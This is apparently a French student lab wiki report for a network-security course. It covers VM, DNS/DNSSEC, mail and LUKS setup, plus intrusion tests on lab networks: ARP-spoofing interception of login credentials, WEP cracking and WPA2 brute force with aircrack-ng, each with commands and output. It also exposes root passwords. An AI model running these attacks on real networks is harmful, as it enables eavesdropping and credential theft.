On voit que cela peut prendre beaucoup de temps pour trouver la clé, d'out l'interner de couper le dictionnaire en plusieurs et lancer le traitement sur plusieurs pc des camarades de classe. Cela permet de diviser le temps de traitement par le nombre de machine utilisé.<br />
<br />
===Exploitation de failles du système===<br />
<br />
===Attaque de type "homme au milieu" par usurpation ARP===<br />
Maintenant on tesnt une attaque par "homme au milieu" pour commancé, on va installer le paquetage <code>dsniff</code> pour cela on utilise la commande : <code>apt-get install dsniff</code><br />
<br />
On regarde dans un premier temps si le pc peut se comporter comme un routeur avec la commande <code>cat /proc/sys/net/ipv4/ip_forward</code> normalement il nous notifie '0' se qui prouve que le pc ne se comporte pas comme un routeur. On utilise la commande <code>cat /proc/sys/net/ipv4/ip_forward</code> pour faire passer la variable a 1. maintenant le PC peut se comporter comme un routeur.<br />
<br />
On fait la commande <code>cat /proc/sys/net/ipv4/conf/all/rp_filter</code> la variable recu doit être a '0' ce qui permet aux pc de renvoyer les requètes sur l'interface qui les a recu.<br />
<br />
Ensuite on fait un <code>ip r</code> pour récupérer l'adresse ip du routeur.<br />
[[Fichier:Ip_r_mirage.png|1000px|thumb|left|capture de la commande ip r]]<br />
<br style="clear: both;" \><br />
<br />
On fait la commande <code>arpspoof -i bridge -t zabeth07 172.26.145.254</code><br />
On lance Wireshark en root en utilisant la commande <code>su</code> si celui ci n'est pas installer on fait préalablement <code>apt-get install wireshark</code><br />
Une fois Wireshark lancé, on filtre tout les paquets en provenance de nottre cible la zabeth07.<br />
Il faut fauire attention de bien désativer les proxi dans firefow sinon cela ne fonctionne pas.<br />
<br />
[[Fichier:Wireshark_mirage.png|1000px|thumb|left|capture de Wiresharkf]]<br />
<br style="clear: both;" \><br />
<br />
On peut voir que on a bien recupérer les mdp lors de la connexion aux site 'applications.polytech-lille.net'.<br />
Non d'utilisateur : Oui le pas de calais<br />
Mdp : le mdp<br />
<br />
=== Intrusion sur un serveur d’application Web===<br />
<br />
==Réalisations==<br />
<br />
===Sécurisation de données===<br />
<br />
===Chiffrement de données===<br />
<br />
Parfois il est necessaire de chiffrer les données importante,d'avoir des clef USB, ou des fichier sécuriser. Pour sécuriser la clef USB, on va utilisé 'cryptsetup'<br />
pour commancer on installe les paquetages 'lvm2' et 'cryptsetup'.<br />
apt-get install cryptsetup<br />
apt-get install lvm2 <br />
<br />
Le [https://doc.ubuntu-fr.org/cryptsetup site] on peut trouver la liste des commandes necessaire pour crypter le clef USB.<br />
<br />
Premièrement on va formaté la clef usb pour avoir un disque propre avec la commande <code>mkfs.vfat -n 'Alex.G' -I /dev/sdb1</code> on obtien le nom de la clef USB avec la commande <code>df -h</code><br />
On a maintenant une clef USB clean qui a comme nom Alex.G et un format FAT32.<br />
<br />
On peut lancer le cryptage de la clef USB avec la commande <code>cryptsetup luksFormat -c aes-xts-plain -s 512 /dev/sdb</code> Pour savoir ou les la clef USB on utilise la commande <code>lsblk</code><br />
On choisi un mdp pour le clef USB, puis on envoie le fichier etc sur le clef pour vérifier si il est bien encrypter. Une fois la clef crypter avec un fichier dessu, on va sur un autre pc et on, vérifie si le fichier est bien crypter.<br />
La liste des commande utilisé est listé ci-dessous : <br />
mount /dev/mapper/Alex.G /mnt<br />
cp -r /etc /mnt<br />
umount /mnt<br />
cryptsetup luksClose Alex.G<br />
<br />
On peut voir que le clef USB crypter fonctionne bien.<br />
[[Fichier:ClefUSBLock_2020-11-13_11-48-55.png|1000px|thumb|left|Cryptage de la clef USB]]<br />
<br style="clear: both;" \><br />
<br />
===Inspection ARP par un élément réseau===<br />
<br />
===Sécurisation WiFi par WPA2-EAP===</div>Aglainehttps://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G5&diff=53934TP sysres IMA2a5 2020/2021 G52020-11-20T08:50:45Z<p>Aglaine : /* Réception d'un message */</p>
<hr />
<div>== Introduction ==<br />
<br />
Cet atelier consiste en la réalisation d’une maquette de réseau permettant de manipuler les protocoles de redondance réseau ainsi que le protocole réseau IPv6. D’un point de vue système vous aurez à installer une machine virtuelle Xen et à y configurer des services. Enfin la mise en place d’un réseau WiFi sécurisé et d’un site web sécurisé vous permettent de mettre en pratiques vos connaissances en la matière.<br />
<br />
=== Tableau Récapitulatif ===<br />
{| class="wikitable" style="text-align: center;width: 35%;margin: auto;"<br />
! Description !! Détails<br />
|-<br />
! scope="row" style="width: 40%"|ID VLAN<br />
|style="width: 60%"|Vlan7<br />
|-<br />
! scope="row" style="width: 40%"|Réseau IP V4<br />
|style="width: 60%"|193.48.57.168<br />
|-<br />
! scope="row" style="width: 40%"|Réseau IP V6<br />
|style="width: 60%"|<br />
|-<br />
! scope="row" style="width: 40%"|Nom de de la VM <br />
|style="width: 60%"|mirage<br />
|-<br />
! scope="row" style="width: 40%"|Numéro de poste<br />
|style="width: 60%"|Zabeth06<br />
|-<br />
! scope="row" style="width: 40%"|Adresse du site internet version HTTP<br />
|style="width: 60%"|<br />
|-<br />
! scope="row" style="width: 40%"|Adresse du site internet version HTTPS<br />
|style="width: 60%"|<br />
|-<br />
|}<br />
<br />
== Installation des systèmes d’exploitation == <br />
<br />
Pour installer une Machine Virtuelle, il faut d'abord se connecter sur le disque de virtualisation.<br />
Pour cela, il faut utiliser la commande : <br />
ssh capbreton.plil.info<br />
<br />
=== Installation dans la machine virtuelle Xen ===<br />
<br />
Une fois connecter, il faut lancer la création de la Machine virtuelle avec la commande :<br />
xen-create-image --hostname=mirage --ip 193.48.57.168 --netmask=255.255.255.0 --gateway=100.64.0.5 --dist=ascii --dir=/usr/local/xen --force<br />
<br />
L'installation prend un certain temps pour regarder si l'installation se déroule bien, on peut ouvrir un second terminale connecté en SSH a "capbreton" puis on utilise la commande : <br />
tail -f /var/log/xen-tools/mirage.0.log<br />
<br />
A la fin de l'installation, on obtient le mot de passe root et des informations importantes :<br />
Installation Summary<br />
---------------------<br />
Hostname : mirage<br />
Distribution : ascii<br />
MAC Address : xxxxxxxxxxx<br />
IP Address(es) : dynamic<br />
SSH Fingerprint : SHA256:xxxxxxx (DSA)<br />
SSH Fingerprint : SHA256:xxxxxxx (ECDSA)<br />
SSH Fingerprint : SHA256:xxxxxxx (ED25519)<br />
SSH Fingerprint : SHA256:xxxxxxx (RSA)<br />
Root Password : DgtUlOmnBFERdfarGBsopGR<br />
<br />
Une fois la VM créer, nous pouvons la lancer avec la commande :<br />
xl create /etc/xen/mirage.cfg<br />
<br />
On peut vérifier que le VM est bien démarrer avec la commande :<br />
xl list<br />
Pour fonctionner l'état de la VM doit être r ou -b<br />
[[Fichier:LancementVm.PNG|1000px|thumb|left|Liste des VM en fonctionnement]]<br />
<br />
<br style="clear: both;" \><br />
<br />
On accède pour la premier fois a nottre Vm avec la commande :<br />
xl console mirage<br />
<br />
il demande alors le login (root) et le mdp (longue chaine précédemment générée). <br />
Après nous être logué, on change le mot de passe qui devient : glopglopglop.<br />
<br />
=== Configuration de la machine virtuelle Xen ===<br />
<br />
Il faut maintenant installer les packages que nous avons besoins : <br />
apt-get update<br />
apt-get install VIM<br />
<br />
Il faut configurer l'adresse IP et le mask de la VM. Pour cela on utilise la commande :<br />
vim /etc/network/interfaces<br />
<br />
Dans interfaces on tajoute <br />
auto eth0<br />
iface eth0 inet static<br />
address 193.48.57.168<br />
gateway 193.58.57.163<br />
netmask 255.255.255.248<br />
<br />
Pour que la machine soit joignable par SSH via l'extérieure il est nécessaire de configurer la passerelle et le ssh_config. Pour cela on utilise la commande :<br />
vi /etc/ssh/ssh_config<br />
<br />
Le fichier ssh_config doit être configurer comme ci dessous :<br />
Host *<br />
SendEnv LANH LC_*<br />
HashKnownHOST yes<br />
GSSAPIAuthentification yes<br />
<br />
Sur Capbreton, une paserell doit être mis en place pour pouvoir connecté les VM aux monde extérieure.<br />
Pour cela on configure ces interfacte avec la commande : <br />
vim/etc/network/interfaces<br />
<br />
Puis on configure la passerelle comem ci dessous : <br />
<pre><br />
# The loopback network interface<br />
auto lo<br />
iface lo inet loopback<br />
<br />
# Physical Network Interfaces<br />
#<br />
auto eth<br />
iface eth inet static<br />
address 192.168.0.29<br />
netmask 255.255.255.0<br />
gateway 192.168.0.1<br />
<br />
auto eth0<br />
iface eth0 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth1<br />
iface eth1 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth2<br />
iface eth2 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth4<br />
iface eth4 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth5<br />
iface eth5 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth6<br />
iface eth6 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth7<br />
iface eth7 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
# Main trunk bridge<br />
#<br />
auto Trunk<br />
iface Trunk inet manual<br />
bridge_ports eth4 eth5<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
# Virtual Network Interfaces<br />
#<br />
<br />
auto vlan48<br />
iface vlan48 inet static<br />
vlan-raw-device Trunk<br />
address 172.26.191.21<br />
netmask 255.255.252.0<br />
gateway 172.26.191.254<br />
iface vlan48 inet6 auto<br />
<br />
auto vlan500<br />
iface vlan500 inet manual<br />
vlan-raw-device Trunk<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto vlan502<br />
iface vlan502 inet manual<br />
vlan-raw-device Trunk<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
# Bridge for IMA5sc group<br />
#<br />
<br />
auto IMA5sc<br />
iface IMA5sc inet manual<br />
bridge_ports eth0 eth6<br />
# Bridge for IMA2a5<br />
#<br />
<br />
auto IMA2a5<br />
iface IMA2a5 inet manual<br />
bridge_ports eth1 eth7<br />
# Bridge for L3MRIT group<br />
#<br />
<br />
auto L3MRIT<br />
iface L3MRIT inet manual<br />
bridge_ports eth2<br />
# Bridge for GIS group<br />
#<br />
<br />
auto bridgeGIS<br />
iface bridgeGIS inet manual<br />
bridge_ports vlan502<br />
</pre><br />
<br />
== Architecture réseau ==<br />
<br />
===Sécurisation du réseau===<br />
<br />
==Services Internet==<br />
<br />
===Serveur SSH===<br />
<br />
On peux maintenant se connecté a la VM mirage avec la commande : <code>ssh root@193.48.57.168 -p 2222</code><br />
<br />
===Serveur DNS===<br />
Un serveur DNS (Domain Name System) permet d'effectuer correspondance entre un nom de domaine et une adresse IP. Grâce à DNS, il n'est pas nécessaire de se souvenir des adresses IP pour naviguer sur Ethernet. Pour installer notre propre serveur DNS nous avons utilisé Bind9.<br />
<br />
Nous commençons tout d'abord par installer bind9 via la commande suivante : <code>apt-get install bind9</code><br />
<br />
==== Création et configuration named.conf.local ====<br />
Le <code>named.conf.local</code> permet de faire pointer un nom de domaine pleinement qualifié (FQDN fully qualified domain name) sur une adresse IP. <br />
<br />
Il faut tout d'abbord modifié le fichier <code>/etc/bind/named.conf.local</code> qui contient la configuration DNS et y déclaré les zones associées au domaine ainsi qu'un fichier de description de la zone.<br />
<br />
[[Fichier:Mirage-config-named.conf.local.png|1000px|thumb|left|Configuration de mirage]]<br />
<br style="clear: both;" \><br />
<br />
Puis créé le fichier de configuration appelé <code>glopglop.site</code> avec la commande <code>vim /etc/bind/glopglop.site</code><br />
<br />
[[Fichier:Configuration_bind9.png|1000px|thumb|left|Configuration de bind9]]<br />
<br style="clear: both;" \><br />
<br />
On relance le service 'bind9' avec la commande :<code>service bind9 restart</code><br />
<br />
On vérifie que le DNS fonctionne bien avec le commande <code>host dns1.glopglop.site localhost</code><br />
[[Fichier:Dns1.glopglop.site_2020-11-13_08-57-52.png|1000px|thumb|left|Vérification du DNS en local]]<br />
<br style="clear: both;" \><br />
Le DNS fonctionne donc bien.<br />
<br />
==== Configuration gandi.net ====<br />
Grâce au registrar gandi.net, nous avons réservé le nom de domaine <code>glopglop.site</code>. L'extension <code>.site</code><br />
<br />
[[Fichier:Gandi-glopglop-VueGeneral.PNG|1000px|thumb|left|Image de la configuration de Gandi]]<br />
<br style="clear: both;" \><br />
<br />
On va maintenant ajouter un "glue record" qui est un enregistrement collé. Il permet d'associer un nom d'hôte avec une adresse IP au registre.<br />
Glue records fournis par gandi pour associer un hostname (nom de serveur ou DNS) à l'adresse IP de notre machine. Les modifications seront effectives entre 12 et 24 heures.<br />
<br />
[[Fichier:Mirage-Ajoue-GlueRecord.PNG|1000px|thumb|left|Image de la configuration de Gandi avec Glue Record]]<br />
<br style="clear: both;" \><br />
<br />
Une fois le "glue record" renseigner se qui va lié nottre dns a une ip, il faur renseigner les serveur de non. cela prend 27/72h.<br />
Il faut bien faire attention que la VM soit correctement configurer avec 'bind9' car c'est lui qui donne IPv4 et IPv6 correspondant à vos noms de machines. Si ce n'est pas le cas gandi ne pourras pas liée les dns a l'ip de la machine.<br />
<br />
[[Fichier:GandiDNS_2020-11-13_09-00-16.png|1000px|thumb|left|DNS sur GANDI]]<br />
<br style="clear: both;" \><br />
<br />
Une fois les serveuyrs de non configurer, on peux fermer GANDI.<br />
<br />
===Sécurisation de site web par certificat===<br />
<br />
===Sécurisation de serveur DNS par DNSSEC===<br />
Premièrement, on ajoute <code>l'obtion dnssec-enable yes;</code> dans le fichier <code>named.conf.options</code>.<br />
====Génération des clef asymétrique====<br />
Il est important de bien sauvegarder la clef privée, sinon nottre système de clef ne fonctionnera pas.<br />
pour commancer, on crée un repertoire pour stocker les clef.<br />
cd /etc/bind<br />
mkdir glopglop.site.dnssec<br />
cd glopglop.site.dnssec/<br />
<br />
Une fois dans le dossier <code>glopglop.site.dnssec</code>, on crée les clefs avec la commande<code>dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE glopglop.site</code><br />
On obtien : <br />
Generating key pair...............+++++ ..........................................+++++ <br />
Kglopglop.site.+005+15337<br />
<br />
On crée ensuite le clef asymétrique pour la signature des enregistrements, pour cela on utilise la commande <code>dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE glopglop.site</code><br />
On obtien : <br />
Generating key pair................+++++ ..................................................+++++ <br />
Kglopglop.site.+005+55608<br />
<br />
On a bien maintenant la paire de clef privée/publique. Le problème est qu'il est difficile de les distinguer avec leurs nom compliquer, il faut donc les rennomer pouyr plus de transparance.<br />
On renomme donc les deux paires de clefs obtenues en utilisant le nom de la zone comme préfixe puis en suffixant d’abord par la destination de la clef (-ksk pour la KSK ou -zsk pour la ZSK) puis par le type de clef (.key pour la clef publique ou .private pour la clef privée);<br />
<br />
mv Kglopglop.site.+005+15337.key glopglop.site-ksk.key<br />
mv Kglopglop.site.+005+15337.private glopglop.site-ksk.private<br />
mv Kglopglop.site.+005+55608.key glopglop.site-zsk.key<br />
mv Kglopglop.site.+005+55608.private glopglop.site-zsk.private<br />
<br />
[[Fichier:ClefPrivéePublique_2020-11-13_09-23-42.png|1000px|thumb|left|Clef Privée et Public]]<br />
<br style="clear: both;" \><br />
<br />
Dans <code>db.glopglop.site</code> on ajoute les deux lignes ci-dessous : <br />
$include /etc/bind/glopglop.site.dnssec/glopglop.site-ksk.key<br />
$include /etc/bind/glopglop.site.dnssec/glopglop.site-zsk.key<br />
<br />
On signe la zone d'enregistremment avec la commande <code>dnssec-signzone -o glopglop.site -k glopglop.site-ksk ../db.glopglop.site glopglop.site-zsk</code><br />
[[Fichier:Zones_d'enregistrement_2020-11-13_10-27-11.png|1000px|thumb|left|Generation des zones d'enregistrement]]<br />
<br style="clear: both;" \><br />
<br />
Les clef sont maintenant fonctionelle il faut donc les ajouter a GANDI, pour cela on se connecte a gandi puis on ajoute une clef KSK.<br />
pour obtenir la cled on utilise la commande <code>cat glopglop.site-ksk.key</code> on obtien le résultat ci-dessous : <br />
; This is a key-signing key, keyid 15337, for glopglop.site.<br />
; Created: 20201113090442 (Fri Nov 13 09:04:42 2020)<br />
; Publish: 20201113090442 (Fri Nov 13 09:04:42 2020)<br />
; Activate: 20201113090442 (Fri Nov 13 09:04:42 2020)<br />
glopglop.site. IN DNSKEY 257 3 5 AwEAAc3TCJkWFGnZSj/Q364AF7n69UaXum/no+LuEbXbGjTXLETdYk+Q gVAmIpvbJXcG0rucJTbVFaHr8IhWqf7VvkCbEGAORAkzBVXThPDR1pZR lJDEY88Lb2T6k9uHw43l2oP8vPev2eIRbU3VxUuJs++elgj32DTBA+yK p++/gz29H6PQVpkHnH81RjGdV+K1RZEwxkuev2MmB329fhMRwTsbW0BV aeXc5faRk9ZEKb7tr0p7txVv4wZEL6it01ZiNyGktwLRj8ln+cQz1GtC PY/UWnCtamycE/2k4f98sdDa6TMiguuBNOPug+ODzqGiI7LNUyF4jBbf 6NAgChwITps=<br />
<br />
On ajoute la clef a gandi comme montrer ci-dessous en n'oubliant pas de selectionner '5(RSA/SHA-1'.<br />
[[Fichier:Zones_d'enregistrement_2020-11-13_10-27-11.png|1000px|thumb|left|gandi enregistrement de la clef KSK]]<br />
<br style="clear: both;" \><br />
<br />
Pour vérifier que tout fonctionne correctement, on va sur le site 'dnsvizi.net' il nous permet d'analyser le dns et représanter la chaine d'autentification DNSSEC.<br />
[[Fichier:DNSSEC_2020-11-13_11-59-06.png|1000px|thumb|left|Test du DNSSEC]]<br />
<br style="clear: both;" \><br />
<br />
On peut voir que maintenant on a bien le statu 'SECURE' donc tout fonctionne bien.<br />
<br />
===Installation d'une méchagerie===<br />
====Configuration de Postfix====<br />
Pour recevoir le mail de vérfication de GANDI il faut sur la VM un gestionnaire de mail il faut installer mutt et postfix. On utilise les commandes ci-dessous : <br />
apt-get install postfix<br />
ant-get install mutt<br />
<br />
A l'installation de 'postfix' un fenètre de configuration s'ouver. <br />
Il faut renseigner le non du site comme 'System mail name : 'glopglop.site'<br />
<br />
On vérifie la configuration de 'postix' en allant dans le 'main.cf'<br />
vi /etc/postfix/main.cf <br />
<br />
[[Fichier:Config Postfix mirage.png|1000px|thumb|left|Configuration de postfix]]<br />
<br style="clear: both;" \><br />
<br />
On a bien le non de domaine 'glopglop.site' on peut relancer 'postfix'<br />
service postfix restart<br />
Si le service n'est pas configurer correctement, on peut le reconfigurer avec la commande <code>dpkg-reconfigure postfix</code><br />
====Réception d'un message====<br />
On peux testé la reception de message en envoyant un message a 'roor@glopglop.site'<br />
Si tout fonctionne bien, on peux visualisé les méssage recu en tappant la commande <code>mutt</code><br />
<br />
[[Fichier:Reception_messages_mirage.png|1000px|thumb|left|texte descriptif]]<br />
<br style="clear: both;" \><br />
<br />
On constate que on resoit bien les message en provenance du mail de Polytech.<br />
Pour que gandi puissent nous envoyer le mail contenant la clef de cryptage, on a besoint de pouvoir recevoirr les messages qui sont destiné a 'admin@glopglop.site'<br />
<br />
Pour cela on va modifier le fichier 'vim /etc/aliases' en ajoutant la commande <code>admin:root</code><br />
On crée ensuite un <code>newaliases</code> puis on restarte bind9 avec la commance <code>service bind9 restart</code><br />
<br />
Attention pour les test il est conseiller d'utilisé deux boite mail différante care celle ci prenne du temps pour se mettre a jours.<br />
<br />
====renvoie du mail Gandi====<br />
<br />
Quand on est sure que le mail fonctionne bien avec l'envoie d'un message a destination de 'admin@glopglop.site' on peux demandé a gandi de bous envoyer la clef de cryptage.<br />
On demande d'envoyet le ssl certification a notre VM, cela peux prendre un certain temps.<br />
<br />
==Tests d’intrusion==<br />
<br />
=== Description ===<br />
Un ordinateur portable et une clef Wifi est fourni par Monsieur Redon. Pour que le clef fonctionne il est nécessite pas nécessairement de la configuration. Il faut aussi installer les paquetages nécessaire pour craquer la clef Wep et la clef WPA <br />
<br />
=== Installation de la clef Wifi ===<br />
Avec la commande <code>lsusb</code> on peux voir la list des interfaces connecté aux pc. Ci-dessous les résultats obtenu.<br />
<br />
Bus 003 Device 004: ID 148f:5370 Ralink Technology, Corp. RT5370 Wireless Adapter<br />
Bus 003 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub<br />
Bus 003 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub<br />
Bus 004 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub<br />
Bus 002 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub<br />
Bus 001 Device 004: ID 413c:2003 Dell Computer Corp. Keyboard<br />
Bus 001 Device 003: ID 046d:c016 Logitech, Inc. Optical Wheel Mouse<br />
Bus 001 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub<br />
Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub<br />
<br />
La clef ubs Wifi est bien détécter.<br />
On doit donc installer le pilote pour les clef usb RT5370 avec la commande :<br />
apt-get install firmware-ralink<br />
apt-get install firmware-misc-nonfree<br />
<br />
Une fois les pilotes installer, on récupéère le nom de l'interface wifi avec la commande <code>ip l</code> et on récupère le résultat ci-dessous : <br />
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN mode DEFAULT group default qlen 1000<br />
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00<br />
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast master bridge state UP mode DEFAULT group default qlen 1000<br />
link/ether 00:22:4d:7a:f1:c3 brd ff:ff:ff:ff:ff:ff<br />
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast master bridge state UP mode DEFAULT group default qlen 1000<br />
link/ether 00:15:17:3b:14:a8 brd ff:ff:ff:ff:ff:ff<br />
5: bridge: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP mode DEFAULT group default qlen 1000<br />
link/ether 00:15:17:3b:14:a8 brd ff:ff:ff:ff:ff:ff<br />
6: vmnet1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN mode DEFAULT group default qlen 1000<br />
link/ether 00:50:56:c0:00:01 brd ff:ff:ff:ff:ff:ff<br />
7: vmnet8: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN mode DEFAULT group default qlen 1000<br />
link/ether 00:50:56:c0:00:08 brd ff:ff:ff:ff:ff:ff<br />
8: wlx40a5ef059784: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc mq state DOWN mode DEFAULT group default qlen 1000<br />
link/ether 40:a5:ef:05:97:84 brd ff:ff:ff:ff:ff:ff<br />
<br />
La clef wifi s'apelle donc <code>wlx40a5ef059784</code> on fait maintenant un <code> ip link set wlx40a5ef059784 up></code><br />
<br />
Avec la comande <code>dmsg</code> on vérifie que la clef wifi fonctionne bien. <br />
<br />
=== Installation du paquetage AirCrack-ng ===<br />
Pour installer [https://doc.ubuntu-fr.org/aircrack-ng AirCrack] (utilitaire qui permet de casser les clefs WEP et WPA), il faut de taper la commande :<br />
apt-get install aircrack-ng<br />
apt-get install firmware-misc-nonfree<br />
<br />
=== Utilisation de AirCrack pour clef WEP ===<br />
<br />
Après avoir branché la clef WiFi, on se sert de <code>airmon-ng</code> qui est un utilitaire qui espionne le réseau et permet d'obtenir les types d'interfaces communicantes/espionnable.<br />
airmon-ng<br />
Pour tenter de s'y connecter en tant qu'espion, il faut alors taper (nous le tapons ici avec wlan0mon):<br />
airmon-ng start wlx40a5ef059784<br />
Puis, pour observer et découvrir les canaux associés au réseau et leurs SSID,il faut taper:<br />
airodump-ng wlan0mon <br />
<br />
On obtien le résultat ci dessous : <br />
<br />
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID<br />
<br />
38:0E:4D:B0:E9:E0 -1 0 1 0 1 -1 WPA <length: 0> <br />
04:DA:D2:9C:50:51 -30 49 834 0 9 54e. WEP WEP cracotte02 <br />
04:DA:D2:9C:50:5A -29 44 841 0 9 54e. WEP WEP cracotte11 <br />
04:DA:D2:9C:50:56 -28 53 832 9 9 54e. WEP WEP cracotte07 <br />
04:DA:D2:9C:50:57 -29 54 803 0 9 54e. WEP WEP cracotte08 <br />
04:DA:D2:9C:50:59 -30 50 833 0 9 54e. WEP WEP cracotte10 <br />
04:DA:D2:9C:50:54 -29 48 841 0 9 54e. WEP WEP cracotte05 <br />
04:DA:D2:9C:50:50 -29 50 841 0 9 54e. WEP WEP cracotte01 <br />
04:DA:D2:9C:50:5B -29 50 825 0 9 54e. WEP WEP cracotte12 <br />
04:DA:D2:9C:50:53 -33 46 843 0 9 54e. WEP WEP cracotte04 <br />
04:DA:D2:9C:50:58 -28 50 694 0 9 54e. WEP WEP cracotte09 <br />
04:DA:D2:9C:50:55 -30 49 746 0 9 54e. WEP WEP cracotte06 <br />
04:DA:D2:9C:50:52 -33 50 764 0 9 54e. WEP WEP cracotte03 <br />
00:14:1B:60:8C:28 -30 60 0 0 4 54e. WPA2 CCMP PSK kracotte09 <br />
00:14:1B:60:8C:22 -31 55 0 0 4 54e. WPA2 CCMP PSK kracotte03 <br />
00:14:1B:60:8C:27 -32 64 0 0 4 54e. WPA2 CCMP PSK kracotte08 <br />
00:14:1B:60:8C:24 -34 58 0 0 4 54e. WPA2 CCMP PSK kracotte05 <br />
00:14:1B:60:8C:23 -31 63 0 0 4 54e. WPA2 CCMP PSK kracotte04<br />
<br />
Le réseau que nous voulons craquer est <code>cracotte05 ssid : 04:DA:D2:9C:50:54 chanel : 9</code><br />
<br />
On utilise la commande <code>airodump-ng -w reseau_cracotte05 -c 9 --bssid 04:DA:D2:9C:50:54 wlan0mon</code>. cela nous crée un <code>reseau_cracotte05-01.cap</code> On n'as pluq qu'a faire un <code>aircrack-ng reseau_cracotte05-01.cap </code>.<br />
<br />
KB depth byte(vote)<br />
0 0/ 1 F1(50176) 48(46848) A1(46080) C9(45824) 2A(45056) <br />
1 0/ 1 DE(50944) F0(46592) 60(45824) 4D(45312) 1E(44544) <br />
2 1/ 3 D4(47360) 98(46336) B6(45568) A7(45056) EB(45056) <br />
3 0/ 2 00(47360) 34(46848) 4E(45824) 6F(44800) 35(44544) <br />
4 0/ 1 00(50688) 09(45824) 50(45568) FD(45056) 5E(44032) <br />
5 0/ 3 00(46592) BD(45824) 4A(45824) 5A(45056) 87(45056) <br />
6 0/ 1 00(51456) 09(47104) 3A(45824) F9(45824) 04(45568) <br />
7 0/ 1 00(51712) C9(47360) 08(46336) 56(45312) E2(44800) <br />
8 0/ 1 00(54016) 05(45568) C1(45312) D5(44544) B7(44288) <br />
9 0/ 2 00(47872) 56(46592) 84(45568) 88(45568) F2(45056) <br />
10 1/ 2 09(48128) 6B(45824) D5(45824) 0C(45568) C2(45568) <br />
11 0/ 2 99(48128) 76(47616) 99(46080) E6(46080) 06(44800) <br />
12 2/ 4 FD(44800) DE(44544) B9(44032) 3F(43776) 94(43776) <br />
<br />
KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:00:09:99:99 ] <br />
Decrypted correctly: 100%<br />
<br />
Et voila nous avons trouver clef du réseau wifi cracotte05<br />
<br />
=== Utilisation de AirCrack pour clef WPA2-PSA ===<br />
<br />
On va maintenant craquer le réseau Kracotte05 qui est un réseau WPA on sait d'avance que la clef WPA est un nombre sur 8 chiffres.<br />
On va donc faire un "cassage par force brute" avec un fichier texte contenant tout les combination de 00000000 a 99999999.<br />
<br />
On commence par installer Crnch avec la commande <code>sudo apt-get install -y crunch</code><br />
<br />
Une fois installer on génère un fichier dictionnaite.txt avec la commande <code>crunch 8 8 0123456789 >> dictionnaire_wpa.txt</code><br />
On relance la commande <code>airodump-ng -w reseau_kracotte05 -c 5 --bssid 00:14:1B:60:8C:24</code><br />
On a bien sure remplacer le ssid et le chanel par celui du wifi Kracotte05.<br />
<br />
Puis nous lançons aircrack-ng avec la commande <code>aircrack-ng reseau_kracotte05-01.cap -w dictionnaire_wpa.txt</code><br />
Read 121032 packets.<br />
<br />
# BSSID ESSID Encryption<br />
<br />
1 00:14:1B:60:8C:24 kracotte05 No data - WEP or WPA<br />
<br />
Choosing first network as target.<br />
<br />
Opening reseau_kracotte05-01.cap<br />
Read 121032 packets.<br />
<br />
1 potential targets<br />
Got no data packets from target network!<br />
Quitting aircrack-ng...<br />
<br />
On peut voir que cela prend du temps pour récupérer les data nécessaire pour effectuer le crackage 1 data toutes les 15 minutes.<br />
Une fois que on a récupérer les data, on peux effectuer le "cassage par force brute" <br />
<br />
Aircrack-ng 1.5.2 <br />
<br />
[00:32:18] 10323450/102795810 keys tested (2771.75 k/s) <br />
<br />
Time left: 9 hours, 16 minutes, 11 seconds 10.04%<br />
<br />
KEY FOUND! [ 10244444 ]<br />
<br />
<br />
Master Key : D6 B0 55 29 8C A0 B4 C9 13 24 C9 03 8C D5 13 4B <br />
46 A4 C2 DB 79 E7 4C BC AE B5 5A 5D 48 D7 C4 3B <br />
<br />
Transient Key : 25 23 28 1B 21 51 4B 87 07 51 A4 8E D1 80 48 C8 <br />
54 F6 87 8B 30 DF C1 D0 E6 1A 74 87 2F 50 EC 1B <br />
9B 24 39 29 40 E3 BD 89 CD AE 3E 81 E9 EC 16 70 <br />
79 F9 24 2E 30 4E 52 24 A9 41 30 52 E1 25 EC 85 <br />
<br />
EAPOL HMAC : 7F AC 76 7D B5 33 0C 24 20 C3 BA A2 4B DF 2F CD<br />
<br />
On a bien trouver la clé du wifi !<br />
On voit que cela peut prendre beaucoup de temps pour trouver la clé, d'out l'interner de couper le dictionnaire en plusieurs et lancer le traitement sur plusieurs pc des camarades de classe. Cela permet de diviser le temps de traitement par le nombre de machine utilisé.<br />
<br />
===Exploitation de failles du système===<br />
